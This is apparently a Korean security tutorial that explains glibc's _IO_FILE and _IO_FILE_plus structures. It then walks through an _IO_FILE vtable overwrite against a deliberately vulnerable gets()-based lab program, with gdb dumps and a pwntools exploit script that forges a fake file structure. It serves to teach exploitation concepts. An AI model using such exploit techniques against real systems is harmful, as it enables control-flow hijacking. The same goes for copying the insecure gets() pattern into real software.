_IO_FILE

개념

"_IO_FILE"은 리눅스 시스템의 표준 라이브러리에서 파일 스트림을 나타내는 구조체이다. "fopen"과 같은 파일과 관련있는 함수면 파일 스트림을 열 때 힙에 할당된다. "_IO_FILE" 구조체의 정의는 다음과 같다.

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
  struct _IO_marker *_markers;
  struct _IO_FILE *_chain;
  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

• _flags : 파일에 대한 rw 권한 의미. "0xfbad0000"이 매직값
• _IO_read_ptr : 파일 읽기 버퍼에 대한 포인터
• _IO_read_end : 파일 읽기 버퍼 주소의 끝을 가리키는 포인터
• _IO_read_base : 파일 읽기 버퍼 주소의 시작을 가리는 포인터
• _chain :  _IO_FILE구조체는 _chain 필드를 통해 linked list를 생성. linked list의 헤더는 _IO_list_all에 저장

_flags 필드의 주요 값을 살펴보자.

_flags의 값이 0xfbad2484라 하면 이는 0xfbad0000+ 0x20000 + 0x400 + 0x80 + 0x4로 나타낼 수 있다. 이는 각각 "_IO_MAGIC", "_IO_IS_FILEBUF", "_IO_TIED_PUT_GET", "_IO_LINKED", "_IO_NO_READS"를 의미한다. 파일을 열 때 쓰기모드로 열어 "_IO_NO_READS"가 존재한다.

 

아래는 파일의 내용을 읽어 출력하는 예제이다. testfile 파일을 열어 file_data에 256바이트 데이터를 입력받고 출력한 후 스트림을 닫는 코드이다. 

// gcc -o file2 file2.c 
#include <stdio.h>
int main()
{
	char file_data[256];
	int ret;
	FILE *fp;
	
	strcpy(file_data, "AAAA");
	fp = fopen("testfile","r");
	fread(file_data, 1, 256, fp);
	printf("%s",file_data);
	fclose(fp);
}

fread 함수가 호출된 이후 fp 포인터의 _IO_FILE 구조체를 살펴보면 다음과 같다.

gdb-peda$ x/100x 0x602010
0x602010:	0x00000000fbad2498	0x0000000000602240
0x602020:	0x0000000000602240	0x0000000000602240
0x602030:	0x0000000000602240	0x0000000000602240
0x602040:	0x0000000000602240	0x0000000000602240
0x602050:	0x0000000000603240	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x00007ffff7dd2540
0x602080:	0x0000000000000003	0x0000000000000000
0x602090:	0x0000000000000000	0x00000000006020f0
0x6020a0:	0xffffffffffffffff	0x0000000000000000
0x6020b0:	0x0000000000602100	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x00000000ffffffff	0x0000000000000000
0x6020e0:	0x0000000000000000	0x00007ffff7dd06e0

gdb-peda$ x/s 0x0000000000602240
0x602240:	"THIS IS TEST FILE!\n"

0x602240 메모리 주소에 입력한 값이 들어갔음을 확인할 수 있다.

 

실제 파일을 열 때는 _IO_FILE_plus 구조체가 리턴된다. _IO_FILE_lpus 구조체는 파일 스트림에서 함수 호출을 용이하게 하기 위해 _IO_FILE 구조체를 가리키는 포인터를 추가한 구조체다. 

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

_IO_jump_t에는 fread, fwrite, fopen과 같은 표준 함수들을 호출한다.

 

세 파일 스트림 "stdin", "stdout", "stderr"은 프로세스가 시작할 때 라이브러리에 의해 자동적으로 생성된다. 디버깅으로 까보면 0x00000000fbad~~~ 값을 확인할 수 있다.

 

_IO_FILE vtable overwrite

우분투 16.04 이후 버전부터는 _IO_vtable_check 함수가 추가되어서 아래 방법으로 익스플로잇이 불가능하다.

 

예제를 통해 overwrite를 해보겠다.

// gcc -o fp_vtable fp_vtable.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
char name[256] = "\0";
FILE *fp = NULL;
void getshell() {
        system("/bin/sh");
}       
int main()
{
        int bytes;
        char random[4];
        fp = fopen("/dev/urandom", "r");
        printf("Name: ");
        fflush(stdout);
        gets(name);
        
        fread(random, 1, 4, fp);
        
        printf("random: %s", random);
        return 0;
}

gets함수를 통해 BOF 공격이 가능하다.

fp - 파일 구조체에 할당된 영역 가리킴

fread함수 호출 -> 파일 포인터가 가리키는 "_IO_FILE" 구조체의 vtable 주소를 참조해 호출

 

공격 방법 : fp를 name 주소로 조작 -> 파일 함수 호출 시 name 버퍼를 "_IO_FILE" 구조체로 오인하여 사용

// name 구조

gdb-peda$ x/100x 0x6010a0
0x6010a0 <name>:	0x00000000fbad2488	0x0000000000000000
0x6010b0 <name+16>:	0x0000000000000000	0x0000000000000000
0x6010c0 <name+32>:	0x0000000000000000	0x0000000000000000
0x6010d0 <name+48>:	0x0000000000000000	0x0000000000000000
0x6010e0 <name+64>:	0x0000000000000000	0x0000000000000000
0x6010f0 <name+80>:	0x0000000000000000	0x0000000000000000
0x601100 <name+96>:	0x0000000000000000	0x0000000000000000
0x601110 <name+112>:	0x0000000000000003	0x0000000000000000
0x601120 <name+128>:	0x0000000000000000	0x0000000000601180
0x601130 <name+144>:	0xffffffffffffffff	0x0000000000000000
0x601140 <name+160>:	0x0000000000000000	0x0000000000000000
0x601150 <name+176>:	0x0000000000000000	0x0000000000000000
0x601160 <name+192>:	0x0000000000000000	0x0000000000000000
0x601170 <name+208>:	0x0000000000000000	0x0000000041414141 // vtable
0x601180 <name+224>:	0x0000000000000000	0x0000000000000000
0x601190 <name+240>:	0x0000000000000000	0x0000000000000000
0x6011a0 <fp>:	0x00000000006010a0	0x0000000000000000

 

from pwn import *
p = process("./fp_vtable")
elf = ELF("fp_vtable")
name_buf = elf.symbols['name']

# IO_FILE 구조체를 참고하여 작성
name = p64(0xfbad2488)
name += p64(0)*13
name += p64(3) # _fileno 값
name += p64(0)*2 # _flags2, _shortbuf[1] 값
name += p64(name_buf + 0xe0)
name += p64(0xffffffffffffffff)
name += p64(0)*8
name += p64(0x41414141) # vtable
name += "\x00"*(256-len(name))
name += p64(name_buf)

print p.sendlineafter("Name:", str(name))
gdb.attach(p)

p.interactive()

익스플로잇 코드를 짤 때 맨 위의 디버깅에서 name의 구조와 _IO_FILE 구조체를 감안하고 해서 짜야 한다. 주석을 달아놨으니 참고하길 바란다.

 

레지스터 값들을 보면 0x41414141로 바뀐 걸 확인할 수 있다.

gdb-peda$ i r
rax            0x41414141	0x41414141
rbx            0x6010a0	0x6010a0
rcx            0x6010a0	0x6010a0
rdx            0x4	0x4
rsi            0x7ffe29143410	0x7ffe29143410
rdi            0x6010a0	0x6010a0
rbp            0x1	0x1
rsp            0x7ffe291433d8	0x7ffe291433d8
r8             0x601180	0x601180
r9             0x7ffe29143410	0x7ffe29143410
r10            0x7fa1fa1d6700	0x7fa1fa1d6700
r11            0x7fa1f9c751a0	0x7fa1f9c751a0
r12            0x4	0x4
r13            0x4	0x4
r14            0x0	0x0
r15            0x0	0x0
rip            0x7fa1f9c82707	0x7fa1f9c82707 <__GI__IO_sgetn+7>
eflags         0x10202	[ IF RF ]
cs             0x33	0x33
ss             0x2b	0x2b
ds             0x0	0x0
es             0x0	0x0
fs             0x0	0x0
gs             0x0	0x0